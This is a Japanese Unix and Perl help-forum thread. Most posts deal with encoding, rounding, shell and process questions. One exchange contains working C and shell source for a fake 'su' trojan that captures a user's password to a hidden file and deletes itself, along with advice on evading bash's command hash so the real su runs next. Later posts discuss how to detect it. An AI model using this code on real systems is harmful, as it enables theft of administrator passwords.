会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、 ローカルに Perl 5.8 を入れてみました。 (ちょっとテストで失敗したんだけど、よくわかんないので 入れてしまつた ;;;) === big5 => UTF-8 === #! perl use encoding 'utf8', STDIN=>'big5'; while (<STDIN>) { print; } というのはうまくいったっぽいんですが、 === UTF-8 => big5 === #! perl use encoding 'big5', STDIN=>'utf8'; while (<STDIN>) { print; } というのは UTF-8 側に BOM(efbbbf)があると そこがそのまま出てきます。 use encoding 'big5', STDIN=>'utf8'; を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが (で、BOM はもしあったら事前にカットする) うまくいきませんでした。つたない質問ですみませんが 何かわかりましたらご教示ください。 |
|
はじめまして。 c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが, なかなかうまくいきません.どなたか教えていただけないでしょうか. ソースは以下のとうりです. #include<stdio.h> #include<stdlib.h> main(int argc, char *argv[]) { char buf[100]; sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); system(buf); exit(1); } コンパイルは通って,実行時にエラーは出ませんでした. bufに文字列はしっかり送られていました. export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で 打つと,しっかりPATHは変更されました. よろしくお願いします. |
|
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか? /HP-UX |
|
はじめまして。こんばんは。UNIXについて質問があります。 与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。 アドバイスを頂けたら幸いです。よろしくお願いします。 |
|
>>2926 ふくし すいませんが、わかりません。 # 僕の知識は perl-5.00503 で止まっているので…。 >>2927 kiki system は内部で fork して、子プロセスが sh を実行します。 > sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); > system(buf); によって、子プロセスが実行する sh の環境変数は変更されますが、sh は すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は 渡りません。 ではどうすればよいか、という話になりますが、 > .bash_profileのPATHを変更したいのですが, なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると 対策も見えてくるかもしれません。 >>2928 G > 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る > 簡単な方法はありませんでしょうか? こんな感じでしょうか。 % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|' /aaa >>2929 NAGISA > 与えられた引数を、そのままエコーバックするシェルスクリプト そういう場合は「エコーバック」とは言わないような気がしますが、 #!/bin/sh echo $@ とか、 #!/bin/sh for i in $@; do echo $i done とか。 |
|
>>2925 なお@HP-UX11 > あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? ps コマンドなぞどうでしょうね。 |
|
>>2931 68userさん お返事ありがとうございます.kikiです. > .bash_profileのPATHを変更したいのですが, セキュリティに関する勉強でsuコマンドになり済ますトロイ について勉強していまして,実際に自分のPCで実験しています. suコマンドを使うユーザのアカウントを入手してあるという場合 を想定して,自分の一般ユーザ権限から自分の管理者権限のパス ワードを盗むという実験です.手順は 1.あるディレクトリにトロイをおいて 2.PATH変更,トロイ置場を先に検索するようにする. 3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに 書き込んで,トロイは自分を削除する. 4.suコマンドをもう一度実行,本物のsuコマンドが起動 です.3.の手順までは問題なく進みましたが,4.を実行すると bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが, どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています. そこで,suトロイの中でPATHを変更しようと思ったのです. |
|
>>2930 68user いつもありがとうございます。 ただ感謝と尊敬の念でいっぱいです。 また、宜しくお願いします。 |
|
>2930 さん、ありがとうございます。 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 結構面白いっぽいですよ。 (インストールで失敗してるぼくの言うことじゃないが ;;; |
|
>>2932 kiki シェルを置き換えたのか、~/.bash_profile を書き換えて 自作 su を起動するようにしたのかよくわかりませんが、 > 2.PATH変更,トロイ置場を先に検索するようにする. ができているなら、後は /usr/bin/su を起動すればいいだけ だと思います。そこで PATH が出てくる理由がよくわかりません。 >>2934 ふくし > 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 > 結構面白いっぽいですよ。 うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと 安全になった open。 それ以外はまーいいやって感じです。 ときに our って C でいうところの int get_num(){ static int num=1; return num++; } main(int argc, char *argv[]) { printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); } のような static だと思い込んでいたんですが、今 本を読み直してみると なんか違うような気も。 あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 順番を保持するハッシュ (セットした順に keys が返ってくる) って 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 見つけられない。 # キー固定のハッシュは Class::Struct を使えばいいのかな。 |
|
>>2935 68user > あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 > 順番を保持するハッシュ (セットした順に keys が返ってくる) って > 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 > 見つけられない。 みびょーに違う話のような気もしますが、perl-5.005_03 でも $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186]; print "$john->{eyes}\n"; print "$john->[2]\n"; てな書き方ができるんですねぇ。これは知らなかった。 |
|
すいません、今度は Perl 5.005_03 の話です ;;; 経理システムで、 ・単価はドル建てだが、セント未満の端数がありうる (1個につき 0.001 ドルとか) ・個数は「個」だが、1個未満の端数がありうる (0.1 個とか) という条件で、単価x個数=売上を、 小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、 という問題で 「100倍して int して100で割る」ということをしていました。 #! perl $tanka = 10000.88; # ドル $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 print "uriage x 100 = $uriage100\n"; $uriage = int($uriage100)/100; print "uriage = $uriage\n"; しかしこうすると、int(1000088) は 10000088 になるので、 uriage x 100 = 1000088 uriage = 10000.87 となります。もっとも手軽な回避方法はなんでしょうか。 もしお分かりでしたらご教示ください。 |
|
cshrcファイルの内容について皆さんにお聞きしたいです。 source .cshrcコマンドを出すときにUnmatchedといわれていますけど、 どこに問題があるかは良く分かりません。 cshrcの内容は以下のようになります************* # .cshrc # User specific aliases and functions # alias rm 'rm -i' alias ls 'ls --color' alias cp 'cp -i' alias mv 'mv -i' #setenv PATH "/usr/sbin:/sbin:$PATH" setenv NCARG_ROOT "/usr/local/ncarg" setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" #setenv LD_LIBRARY_PAYH "/usr/FFC/lib" #setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man" setenv PGI "/usr/pgi" set path = ( $PGI/linux86/bin $path ) if($?MANPATH ==1) then setenv MANPATH $PGI/man:$MANPATH else setenv MANPATH $PHI/man endif #setenv MANPATH "$MANPATH":$PGI/man setenv LM_LICENSE_FILE "$PGI/license.dat" setenv MANPATH "$PGI/man:$NCARG_ROOT/man" set prompt='[%n@%m %c]#' ***************** どこが間違っているでしょうか。 よろしくお願いします。 |
|
>>2937 ふくし sprintfは? |
|
>>2938 初心者 この書き方は出来るのかな??複数行にわたるクオート setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" |
|
>>2937 ふくし 勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、 こういうときの常套手段を知らないので、しばし傍観。 >>2938 初心者 csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ (あるいはマウスでコピペ) しましょう。どこに問題があるのか わかります。 |
|
>>2940 名無し さん、ありがとうございます。 sprintf は四捨五入なんですね。 ということはあらかじめ 0.005 を引いておけばよい? −−−−−−−−−−プログラム−−−−−−−−−−−−−−>8 #! perl while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 $uriage = $uriage100 / 100; $uriage = sprintf "%.2f", $uriage; print "uriage = $uriage\n"; } −−−−−−−−−−プログラム終わり−−−−−−−−−−−>8 実行結果。 > keisan tanka = 10000.88 uriage = 10000.88 tanka = 10000.881 uriage = 10000.88 tanka = 10000.882 uriage = 10000.88 tanka = 10000.883 uriage = 10000.88 tanka = 10000.884 uriage = 10000.88 tanka = 10000.885 uriage = 10000.88 tanka = 10000.886 uriage = 10000.88 tanka = 10000.887 uriage = 10000.88 tanka = 10000.888 uriage = 10000.88 tanka = 10000.889 uriage = 10000.88 なんかできてるっぽい、、? __DATA__ 10000.88 10000.881 10000.882 10000.883 10000.884 10000.885 10000.886 10000.887 10000.888 10000.889 |
|
>>2942 ふくし これなんかどうでしょうね。 http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5 > $uriage = $uriage100 / 100; 最後に 100 で割るのがなんかおそろしいなぁ。 値によっては循環小数になったりしないのかな。循環小数になっても %.2f してるから OK? |
|
すいません、お騒がせしております ;;; 100 で掛けたり、割ったりしているのは、 int を使いたかったからで、 sprintf を使っている以上、必要ないですね。 (切り捨ての場合) while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage = sprintf "%.2f", $tanka * $kosuu; print "uriage = $uriage\n"; } 四捨五入の場合は 0.005 を引くのをやめるとか。 |
|
だめでした ;;; sprintf "%.2f", $a; に、$a に 10000.005 を渡すと、10000.00 になります。 (環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03) しょうがないので . で split して、、いろいろしようと思います ;;; ちなみに 68User さん、BCD というのはモジュールありますか? CPAN で検索したら EBCDIC_convert なんとかというのしか 見つかりませんでした ;;; |
|
一人で駄投稿を繰り返して大変申し訳ありません。 けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、 変数をすべて Math::BigFloat にしました。 なんとなくできているような気がしますが、 これぐらいの時間帯になってくると 「いったい何ができてるってことなのか」わからなくなってくるので ;;; 明日また考えます。X68000 さん、名無しさん、ありがとうございました。 何かありましたらよろしくお願いします。 |
|
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;; |
|
>>2947 ふくし もう解決してらっしゃる様ですが、最初のソースの $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 を $uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍 みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で 適当な数字を足してやると良いんじゃないでしょうか。 端数の発生しない桁が決められない場合はダメですが・・・。 #ぱっとみて思いついただけなんで全然的外れかもしれません |
|
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。 よろしくお願いします。 |
|
解決しました。 |
|
>>2945 ふくし > ちなみに 68User さん、BCD というのはモジュールありますか? binary decimal で検索したら、これがひっかかりました。 http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm |
|
>68userさん,お返事が送れて申し訳ありません.kikiです >> 2.PATH変更,トロイ置場を先に検索するようにする. >> ができているなら、後は /usr/bin/su を起動すればいいだけ >> だと思います。そこで PATH が出てくる理由がよくわかりません。 たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド を打ち込むと,本物のsuが問題なく立ち上がるのですが, bashの場合,suトロイが動いた後にsuコマンドを打ち込むと, bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずな のですが,どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています.そこで, suトロイの中でPATHを変更しようと思ったのです. こちらも理由を考えていたのですがわかりません. バージョンは bash-2.04-1v14です. 何か,こころあたりがございましたら, 御教授願います.よろしくお願いします. |
|
>>2952 kiki 具体的に何をやっているのかが全く見えないです。遠回しな 書き方をしないでスクリプトを提示するなりしてください。 なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では 成功しました (意図通りの挙動かどうかはわかりませんが)。 bash-2.05$ PATH=.:$PATH bash-2.05$ cat su #!/bin/sh echo -n "(Trojan su)Password: " stty -echo read a stty echo echo "" echo "Sorry (Your password [$a] is captured!)" mv su su.bak bash-2.05$ type su su is hashed (./su) bash-2.05$ su (Trojan su)Password: Sorry (Your password [hoge] is captured!) bash-2.05$ which su /usr/bin/su bash-2.05$ su Password: Sorry |
|
>>68user様 お返事ありがとうございます.kikiです. 申し訳ありません.トロイのソースを書き込ませていただきます. cで書かれたトロイを使っています. トロイの置き場所は /home/koko/.oite です. #include <stdio.h> #include <stdlib.h> #define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[40]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS,"w"); fprintf(fd, "pass: %s\n", key); fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm /home/koko/.oite/%s", argv[0]); system(buf); exit (1); } よろしくお願いします. こちらでも引続き原因を調べてみます. |
|
>>2954 kiki つまりやってることは >>2953 68user のスクリプトと同じなわけで、こちらで実行すると 2回目の su で /usr/bin/su を実行してくれました。 ということは bash が原因なわけで、ハッシュテーブルを再構築 しない設定になっているのでは、などを疑うべきなんでしょうけど、 bash は使ってないのでよくわかりません (勝手にハッシュテーブル 再構築してくれるんじゃないのかな?)。そこらへん何か設定がある んでしたっけ。 あとは bash の最新版を入れてみるとか。 |
|
>>2954 kiki bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって みましたが、どうやら PATH=.:$PATH だと OK (/usr/bin/su が実行される) ですが PATH=/foo/bar:$PATH と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。 マニュアルを読む限りでは bash の仕様のような気がしますし、相対 パスのコマンドが hashing されていた場合は (カレントディレクトリが 移動しているかもしれないので) 再度 PATH を検索する、というのは 納得のいく挙動です。 # でも、もしかしたら bash のバグかもしれません。 解決策としては % shopt -s checkhash があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの su を作るという目的を第一に考えるのであれば、 1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 2. トロイ版 su の中で /usr/bin/su を exec する といったところでしょうが、普通は 2 のような気がします (作ったことないのでわからんけど)。 |
|
みなさん、計算の問題でフォローアップありがとうございます。 とりあえず Math::BigFloat で快適です。 3471943.48 および 3471943.488 という数を 0 と比較すると おかしいという現象があって一瞬ひやっとしましたけど、 5.005003 ではバグってるけど 5.6.0 では直ってるようでした。 ■ソース #! perl use Math::BigFloat; while (<DATA>) { chomp; $num = Math::BigFloat->new($_); if ($num >= 0) { print "$num is larger-equal than 0\n"; } else { print "$num is not larger-equal than 0\n"; } $cmp = $num->fcmp("0"); print "compare $num vs 0: $cmp\n"; } __DATA__ 3471943.488 3471943.48 3 ■5.005003 での実行結果 3471943.488 is not larger-equal than 0 compare 3471943.488 vs 0: -1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: -1 3. is larger-equal than 0 compare 3. vs 0: 1 ■5.6.0 での実行結果 3471943.488 is larger-equal than 0 compare 3471943.488 vs 0: 1 3471943.48 is larger-equal than 0 compare 3471943.48 vs 0: 1 3. is larger-equal than 0 compare 3. vs 0: 1 |
|
>>2956 68user様 またお返事が送れて申し訳ありません.kikiです. お返事ありがとうございます.早速ためしてみます. この質問を通じて,いろいろ知らないこともわかったので その点でもとても勉強になりました. ありがとうございました. |
|
初めてになりますが、質問がありますので、お力添えをお願いします。 プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか? リダイレクトを使って、 time 実行するコマンド > ファイル名 としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。 |
|
>>2959 KENT1 お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、 てきとーに試してみてください。 /usr/bin/time ls >& file /usr/bin/time ls >file 2>&1 env TERM= csh -c "time ls" > file env TERM= bash -c "time ls" > file |
|
初めまして。初心者なので質問自体が意味不明かもしれませんが、 システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。 |
|
>>2961 1202 > ディスク使用量 statfs(2), fstatfs(2) > CPU使用量 プロセス単位の情報かシステムの情報を取るのかわかりませんが、 Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を 読むような API が用意されているかもしれませんが、わかりません。 後は man -k stat、man -k cpu、man -k disk などを活用してください。 |
|
>>2962 68user ありがとうございます。 早速試してみます。 |
|
kikiと申します. 68user様,先日はお世話になりました. お聞きしたいことがあります. 私は今,シェルでpsコマンドを打ち込んだら 標準出力で"psコマンドがうちこまれました." と出力させるプログラムを作ろうとしています. この時に,シェルからpsコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させたいのですが,このような事は,プロセス間通信や デーモンを使うのでしょうか? 皆様のアドバイスをよろしくお願い致します. また,簡単なデーモンのソースがあるページや, デーモンを作るにあたってやくだつページを ご存知でしたら教えてください. よろしくお願いします. |
|
>>2964 kiki 前にも書きましたが目的は何ですか? kiki さんの質問は いつも情報量が足りないと思います。 目的を書かないから前提条件がわからない。前提条件が わからないから、例えば 「利用者にばれてもいいのか」 「シェルのソースをいじるというのはアリなのか」 などもわからない (当然その答えによって解は異なります)。 > また,簡単なデーモンのソースがあるページ http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。 >>2961 1202 > dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が > 違ってくるので、、、 ちなみに僕ならば面倒なので GNU df を Solaris に 入れます (仕事であれば特に)。 |
|
2965>>68user様 毎回すみません. 目的は前回の質問でふれたsuトロイの痕跡の検出なんです. suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが, /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して, suトロイをリアルタイムに近い形で検出できないか?と考えたのです. そこで,シェルからsuコマンドが打ち込まれたかどうかを 判定するプログラムに,シェルで打ち込まれたコマンドを渡して 判定させ,suとコマンドが 実行されているようならば, /var/log/messageをみて,suの痕跡があるかどうかを調べれば 検出できるだろうと考えたのです. とりあえずsuコマンドが打ち込まれたかどうかを判定する 部分をまず作ろうと思いましたが,この時にプロセス間で データのやりとりが必要になったり,デーモンも使うのかな と思い,質問させていただきました. 「利用者にばれてもいいのか」 >はい,ばらせる事ができるならば是非そうしたいです. 「シェルのソースをいじるというのはアリなのか」 >はい,ありです. 毎回わかりづらい書き込みをして申し訳ありません. ご教授をお願い致します. |
|
>>2966 kiki 今度は検出なわけですね? > /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して, syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する ことはできますので、これだけでは正確に判断できません。 では他に判断する方法はあるかというと、決定的なものはないです。 結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ グラムと判断するか」に帰着するわけで。興味があればアンチウィルス ソフトがウィルスを検出する手段を調べてみるとよいでしょう。 で、それとは別に「どうやって su がタイプされたことを検出するか」という 話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ 「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行 しようとしているかどうか、というチェックをすればよいでしょう。 プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき ないなら、使う必要はないということです。 別の解としては、システムコールの発行を hook して安全性をチェック、 というのもありますが、UNIX でこういうのってできるのかなーと思って 調べてみたら、なんかできるようですね。 http://www.caj.co.jp/support/etrustac_faq.htm Q6: eTrust Access ControlのSoft Hook技術とは何ですか? カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を 置き換えているのか…(できるのかな?) # Windows なら SetWindowsHookEx で簡単なんですけど。 |
|
>>2967 68user様 お返事ありがとうございます. >syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って, syslogdにメッセージを渡すという事なのでしょうか? P.S. システムコールで見分ける,ですね. 確かに,suトロイと本物のsuだとやっている事はちがうから 見分けられるかも知れませんね.アドバイスありがとうございます. |
|
>>2967 68user様 何回も申し訳ありません.kikiです. >exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。 これは,システムコールのチェックを自動化させて行なえばよい, という事なのでしょうか? 基本的な事で申し訳ありません. |
|
いつもすいません、質問です。 以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。 カンタンにいうと、入れ子になったタグで囲まれた部分だけを 別ファイルに抜き出し、元ファイルからは削除する、です。 順序を保存して抜く方法と、 保存しないで抜く方法とあると思いますが、 どちらでもかまいません。 (前者の方がいいかなぁ、、) 入力ファイル: out1 <tag a> in1 <tag b> in2 <tag c> in3 </tag> in4 </tag> in5 </tag> out2 <tag d> in6 <tag e> in7 </tag> in8 </tag> out3 <tag f> in9 </tag> out4 出力ファイル例1:(順序を保存して抜く) ファイルA:(タグで囲まれた部分のみを抜いたもの) <tag a> in1 <tag b> in2 <tag c> in3 </tag> in4 </tag> in5 </tag> <tag d> in6 <tag e> in7 </tag> in8 </tag> <tag f> in9 </tag> ファイルB:(ファイルAで抜いた残り) out1 out2 out3 out4 出力ファイル例2:(順序を保存しないで抜く) ファイルA:(タグで囲まれた部分のみを抜いたもの) <tag c> in3 </tag> <tag b> in2 in4 </tag> <tag a> in1 in5 </tag> <tag e> in7 </tag> <tag d> in6 in8 </tag> <tag f> in9 </tag> ファイルB:(ファイルAで抜いた残り) out1 out2 out3 out4 よろしくお願いします。 |
|
補足です。 この tag というのは全部同じタグです。 ただオープンタグにかかれている a, b, ... という アトリビュートが全部違います。 |
|
さらに補足。(俺って説明下手だな、、;;; ファイルには <tag> 以外のタグも存在します。 <aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。 その中で下の処理の対象になるのが <tag> だけということです。 <tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、 それも抜いて書き出します。 問題の定義もなかなか奥が深い。 |
|
>>2969 kiki シェルって何をしているか知っていますか? 簡単に言うと、ユーザが 入力した文字列を解析し、execve(2) を実行することです。 シェルのソースをいじっていいのならば、execve(2) を発行している 部分を探して、そこで su を実行しようとしているかどうかのチェックを 行えばよいのでは、という話です。 >>2970 ふくし 入力が XML なら、 http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE の removeChild で一発なような気がします。 XML でないなら構文解析してスタックに積んで…といきたいところですが、 僕は軟弱なので - s|<tag .*?>.*?</tag>|| - 削除したのが足りなかった (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった) なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。 とします。 |
|
>>2967 68user > 別の解としては、システムコールの発行を hook して安全性をチェック、 > というのもありますが、UNIX でこういうのってできるのかなーと思って > 調べてみたら、なんかできるようですね。 > http://www.caj.co.jp/support/etrustac_faq.htm > Q6: eTrust Access ControlのSoft Hook技術とは何ですか? > カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を > 置き換えているのか…(できるのかな?) 最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。 詳しい人がいらっしゃったら教えてください。 全てのシステムコールは http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8 を経由するんじゃないかと思っているのですが、もしそれが正しいなら ここにチェック機能を入れた libc を用意して置き換えるか、あるいは LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。 どちらにせよアセンブラができないので、 http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html を買って勉強かな…。 |
|
>>2973 68user さん、ありがとうございます。 まさに xml で、そのパッケージすごく便利そうなんですが 使い方がよくわかりません ;;; でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。 |
|
>>2975 ふくし 別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が 幸せ度が高いかと。 # 僕は使ったことないですけど。 |
|
通りすがりのものですが・・・ システムコールをhookして安全性を云々というのは、 たとえば Systrace - Interactive Policy Generation for System Calls http://www.citi.umich.edu/u/provos/systrace/ こういったもののことでしょうか? (OpenBSD, NetBSD にはマージされています) |
|
X68000の、内臓フォントを利用するインターフェースを調べています。 フリーで有用な文書がありましたら教えていただけないでしょうか? >識者 なお当方X68000に関する知識は皆無でございます。 |
|
>>2960 68user様 報告が遅れまして申し訳ありません。 /usr/bin/time 実行コマンド >& 出力ファイル を実行した結果うまくいきました。ありがとうございました。 |
|
タグのパースの件です。 別解ですが、会社の若い者が作ったプログラムが無事動きました。 で、せっかくなので XML::DOM を入れようとしたら、 XML::Parser を入れよと言われたので、 XML::Parser を入れようとしたら、 expat を入れよと言われたので、 expat の tar.gz を解いて ./configure して Makefile を #prefix = /usr/local prefix = /henna_directory として make したら(ぼくは管理者でないので)、 gcc: unrecognized option `-R/henna_directory/lib' といわれました。ここで止まっています。 ちなみに /henna_directory/lib というディレクトリはあります。 (ついでにいうと、bin も include も man も) 待て次号。;;; |
|
>>2977 UMA > システムコールをhookして安全性を云々というのは、 はい、そういうものを念頭に置いていました (が、ユーザランドで できたらいいなと。無理なのかな)。 Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。 素晴らしいです。 >>2978 UMA 68user's page で X68000 の疑問が解決したことは一度もなかったりします。 インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に 頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で 聞くのが早いと思います。 >>2980 ふくし まーいろいろありますが、がんばってインストールしてください。 あと、libwww-perl あたりもいれなきゃいけないのが perl の XML モジュールのうざいところ。 |
|
>>2973 68user様 お返事ありがとうございます.kikiです. 丁寧なご説明ありがとうございました. おかげで理解できました.ありがとうございます. |
|
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。 TeraTerm 経由の mule などで PageUp が効かない場合、 Windows\Program Files\TTERMPRO\KEYBOARD.CNF の Remove=329 を ; でコメントアウトし、その下に User1=329 を追加。さらにファイルの一番最後に User1=329,0,$1B[5~ を追加。 って、ちょっと検索してみたら、 http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html の対処と全然違ってますな。なんでアレで PageUp できるんだろう。 |
|
OS: Solaris 2.5.1 プロセスの通知にシグナルを使っています。 これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、 今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。 そこで、質問なのですが <signal.h>にシグナルを追加できるのでしょうか? また、出来るとしたら注意しないといけない点や 影響を及ぼす範囲を教えて下さい。 よろしくお願いします。 |
|
>>2984 SIGNAL シグナルの追加はカーネルを書き換えないと無理です。 シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり をするのが正解でしょう。 と偉そうなことをいってますが、シグナルが足りず SIGXCPU を 使って逃げたことはあります。 |
|
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス が認識する方法があれば情報提供をお願いします。 ・親プロセスはwaitしません。 ・子プロセスは同じものが複数生成されます。(順次生成) ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。 理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果 が格納されるようなものです。 |
|
>>2986 koko > ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ > や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、 の方法を取らないのであれば、無理なんじゃないでしょうか。 |
|
>>2986 koko > ・親プロセスはwaitしません。 親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで チェックするのもダメですか? --- snip --- #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <time.h> #include <sys/wait.h> void handler(int sig) { int pid,status,code; while((pid=waitpid(-1,&status,WNOHANG))>0) { if(WIFEXITED(status)) { code = WEXITSTATUS(status); printf("child process:[%d] was exited with code:[%d]\n",pid,code); } } } int main(int argc,char *argv[]) { int i,pid,code; char buf[16]; struct sigaction sa; if(argc>1) { code = atoi(argv[1]); srand(code+time(0)); sleep(rand()%10); return code; } memset(&sa,0,sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = handler; sigaction(SIGCHLD,&sa,0); for(i=0;i<10;i++) { if((pid=fork())<0) { perror("fork"); return -1; } if(pid) continue; sprintf(buf,"%d",i); if(execl("./a.out","./a.out",buf,0)<0) { perror("execl"); return -2; } } for(;;) sleep(1); return 0; /* never reaches */ } --- snip --- かなり適当ですが。 |
|
>>2988 hsj 他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。 試してみたいと思います。 >>2987 68user 今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に なるかと思います。 ご回答頂き、ありがとうございました。 |
|
